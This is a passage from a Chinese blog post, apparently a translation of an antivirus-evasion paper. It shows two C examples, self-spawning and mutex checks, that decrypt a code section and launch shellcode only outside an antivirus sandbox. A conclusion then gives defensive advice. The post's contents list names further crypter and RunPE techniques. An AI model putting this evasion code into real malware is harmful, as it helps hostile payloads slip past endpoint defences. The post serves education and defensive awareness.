class="line">                    &#123;</span><br><span class="line">                        <span class="comment">// If parent process is myself, decrypt the code</span></span><br><span class="line">                        GetModuleBaseName(hProcess, hMod, processName,</span><br><span class="line">                                          <span class="keyword">sizeof</span>(processName) / <span class="keyword">sizeof</span>(TCHAR));</span><br><span class="line">                        <span class="keyword">if</span> (<span class="built_in">strncmp</span>(processName, <span class="string">&quot;test.exe&quot;</span>, <span class="built_in">strlen</span>(processName)) == <span class="number">0</span>)</span><br><span class="line">                        &#123;</span><br><span class="line">                            decryptCodeSection();</span><br><span class="line">                            startShellCode();</span><br><span class="line">                        &#125;</span><br><span class="line">                        <span class="keyword">else</span></span><br><span class="line">                        &#123;</span><br><span class="line">                            <span class="comment">// or else call my binary in a new process</span></span><br><span class="line">                            startExe(<span class="string">&quot;test.exe&quot;</span>);</span><br><span class="line">                            Sleep(<span class="number">100</span>); <span class="comment">// Wait for child</span></span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="comment">// Release the handle to the process.</span></span><br><span class="line">                CloseHandle(hProcess);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">while</span> (Process32Next(h, &amp;pe));</span><br><span class="line">    &#125;</span><br><span class="line">    CloseHandle(h);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h3 id="例子2：First-open-a-mutex"><a href="#例子2：First-open-a-mutex" class="headerlink" title="例子2：First open a mutex"></a>例子2：First open a mutex</h3><p>在这个例子中，只有当一个确定的互斥量对象已经存在于系统中，代码（test.exe)才会开始解密代码。这个技巧是这样，当这个对象不存在，代码会创建并调用其自己一个新的实例。在父进程结束之前，子进程会尝试创建一个互斥量，会进入这个ERROR_ALREADY_EXIST代码分支。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    HANDLE mutex;</span><br><span class="line">    mutex = CreateMutex(<span class="literal">NULL</span>, TRUE, <span class="string">&quot;muuuu&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (GetLastError() == ERROR_ALREADY_EXISTS)</span><br><span class="line">    &#123;</span><br><span class="line">        decryptCodeSection();</span><br><span class="line">        startShellCode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        startExe(<span class="string">&quot;test.exe&quot;</span>);</span><br><span class="line">        Sleep(<span class="number">100</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h1 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h1><p>以上例子说明，若是能够利用杀软的弱点，绕过他们是很容易的。仅仅需要一些关于windows系统的知识和杀软工作的机制。但是，我并不是说杀软是没用的。杀软在检测已经存在于特征数据库种的恶意代码是非常有用的。同时，杀软对于系统恢复也是很有用的。我想说的是，杀软可以容易被新的病毒戏弄，尤其是对于有目的的攻击。</p>
<p>自定义的恶意软件经常作为APT攻击的一部分，杀软可能对于它们的攻击显的没有用。这并不意味着丢失了一切！对于杀软有选择的方案：加固系统、设置应用程序白名单机制、基于主机的入侵防御系统IPS等。这些解决方案有其长度和短处。</p>
<p>如果我给一些谦虚的建议来抵抗恶意软件，我想说：</p>
<ol>
<li>没必要的情况下永远不要作为administrator权限去运行程序。这个黄金定律在没有杀软的情况下，能够避免99%的恶意软件。这个已经成为Linux用户做一些操作的正常的方式很多年了。这是我最重要的安全措施建议。</li>
<li>加固系统，当前版本的windows系统有很强大的安全特性，尽管使用。</li>
<li>部署NIDS（<a target="_blank" rel="noopener" href="https://www.77169.net/qqhack/hkrq-hejs">入侵</a>检测系统）监控你的网络。很多时候，感染恶意软件并不是在受害者机器上被检测到的，而是应该感谢NIDS和防火墙日志。</li>
<li>使用多个不同厂商的杀软。一个产品的长处可以覆盖另一个短处，也有可能一个国家的杀软对于来自该国家的杀软竟会更加熟</li>
<li>最后一点，安全意识建设。如果人被利用了，那么杀软基本是没用的。</li>
</ol>

                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2022/05/25/Powershell/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2022-07-02
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/%E5%85%8D%E6%9D%80/" title="免杀">
              <b>#</b> 免杀
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2022/07/07/6.s081/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%AE%80%E4%BB%8B"><span class="toc-text">简介</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%85%8D%E6%9D%80%E5%8E%9F%E7%90%86"><span class="toc-text">免杀原理</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%99%E6%80%81%E5%88%86%E6%9E%90"><span class="toc-text">静态分析</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%99%E6%80%81%E5%90%AF%E5%8F%91%E5%BC%8F%E5%88%86%E6%9E%90"><span class="toc-text">静态启发式分析</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90"><span class="toc-text">动态分析</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9D%80%E8%BD%AF%E7%9A%84%E5%B1%80%E9%99%90%E6%80%A7"><span class="toc-text">杀软的局限性</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BB%A3%E7%A0%81%E6%AE%B5%E5%8A%A0%E5%AF%86"><span class="toc-text">代码段加密</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BB%8B%E7%BB%8D"><span class="toc-text">介绍</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8E%9F%E7%90%86"><span class="toc-text">原理</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B7%A5%E5%85%B7"><span class="toc-text">工具</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%B0%83%E6%95%B4%E7%9B%AE%E6%A0%87%E8%BD%AF%E4%BB%B6"><span class="toc-text">调整目标软件</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9B%E5%BB%BA-code%E6%AE%B5"><span class="toc-text">创建.code段</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9B%E5%BB%BA%E8%A7%A3%E5%AF%86stub"><span class="toc-text">创建解密stub</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BC%96%E8%AF%91%E9%93%BE%E6%8E%A5%E9%80%89%E9%A1%B9"><span class="toc-text">编译链接选项</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9E%84%E5%BB%BA%E5%8A%A0%E5%AF%86%E5%99%A8"><span class="toc-text">构建加密器</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%8E%B7%E5%8F%96%E9%9C%80%E8%A6%81%E7%9A%84%E4%BF%A1%E6%81%AF"><span class="toc-text">获取需要的信息</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8A%A0%E5%AF%86%E7%9B%AE%E6%A0%87%E6%AE%B5"><span class="toc-text">加密目标段</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%A1%A5%E4%B8%81-stub%E9%83%A8%E5%88%86"><span class="toc-text">补丁.stub部分</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#main%E9%83%A8%E5%88%86"><span class="toc-text">main部分</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%B5%8B%E8%AF%95"><span class="toc-text">测试</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#VirusTotal"><span class="toc-text">VirusTotal</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8A%A0%E5%AF%86%E7%9A%84%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6"><span class="toc-text">加密的恶意软件</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%A4%8D%E6%9D%82%E7%9A%84%E6%96%B9%E6%B3%95"><span class="toc-text">复杂的方法</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E6%96%B9%E6%B3%95"><span class="toc-text">代码注入方法</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#RunPE%E6%96%B9%E6%B3%95"><span class="toc-text">RunPE方法</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%AE%80%E5%8D%95%E6%9C%89%E6%95%88%E7%9A%84%E6%96%B9%E6%B3%95"><span class="toc-text">简单有效的方法</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Offer-you-have-to-refuse-%E6%96%B9%E6%B3%95"><span class="toc-text">Offer you have to refuse 方法</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%901%EF%BC%9A%E5%88%86%E9%85%8D%E5%A1%AB%E5%85%85100M%E5%86%85%E5%AD%98"><span class="toc-text">例子1：分配填充100M内存</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%902%EF%BC%9A%E6%88%90%E7%99%BE%E4%B8%8A%E5%8D%83%E7%9A%84%E9%80%92%E5%A2%9E"><span class="toc-text">例子2：成百上千的递增</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#The-%E2%80%9CI-shouldn%E2%80%99t-be-able-to-do-that-%E2%80%9D-method"><span class="toc-text">The “I shouldn’t be able to do that!” method</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%901%EF%BC%9A%E6%89%93%E5%BC%80%E7%B3%BB%E7%BB%9F%E8%BF%9B%E7%A8%8B"><span class="toc-text">例子1：打开系统进程</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B0%9D%E8%AF%95%E6%89%93%E5%BC%80%E4%B8%80%E4%B8%AA%E4%B8%8D%E5%AD%98%E5%9C%A8%E7%9A%84URL"><span class="toc-text">尝试打开一个不存在的URL</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#The-%E2%80%9CKnowing-your-enemy%E2%80%9D-method"><span class="toc-text">The “Knowing your enemy” method</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%901%EF%BC%9A%E4%BE%9D%E8%B5%96%E4%BA%8E%E6%9C%AC%E5%9C%B0%E7%94%A8%E6%88%B7%E5%90%8D%E7%9A%84%E6%93%8D%E4%BD%9C"><span class="toc-text">例子1：依赖于本地用户名的操作</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#The-%E2%80%9CWTF-is-that-%E2%80%9D-method"><span class="toc-text">The “WTF is that?” method</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%901%EF%BC%9AWhat-the-fuck-is-NUMA"><span class="toc-text">例子1：What the fuck is NUMA?</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%902%EF%BC%9AWhat-the-fuck-are-FLS"><span class="toc-text">例子2：What the fuck are FLS?</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#The-%E2%80%9CChecking-the-environment%E2%80%9D-method"><span class="toc-text">The “Checking the environment” method</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%901%EF%BC%9A%E6%A3%80%E6%9F%A5%E8%BF%9B%E7%A8%8B%E5%86%85%E5%AD%98"><span class="toc-text">例子1：检查进程内存</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%902%EF%BC%9A-Time-distortion"><span class="toc-text">例子2： Time distortion</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%903%EF%BC%9AWhat-is-my-name"><span class="toc-text">例子3：What is my name?</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#The-%E2%80%9CI-call-myself%E2%80%9D-method"><span class="toc-text">The “I call myself” method</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%901%EF%BC%9AI-am-my-own-father"><span class="toc-text">例子1：I am my own father</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%902%EF%BC%9AFirst-open-a-mutex"><span class="toc-text">例子2：First open a mutex</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BB%93%E8%AE%BA"><span class="toc-text">结论</span></a></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + BypassAVDynamics%5B%E8%AF%91%5D + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2022%2F07%2F02%2F2022-6-29-BypassAVDynamics%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2022/07/02/2022-6-29-BypassAVDynamics/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
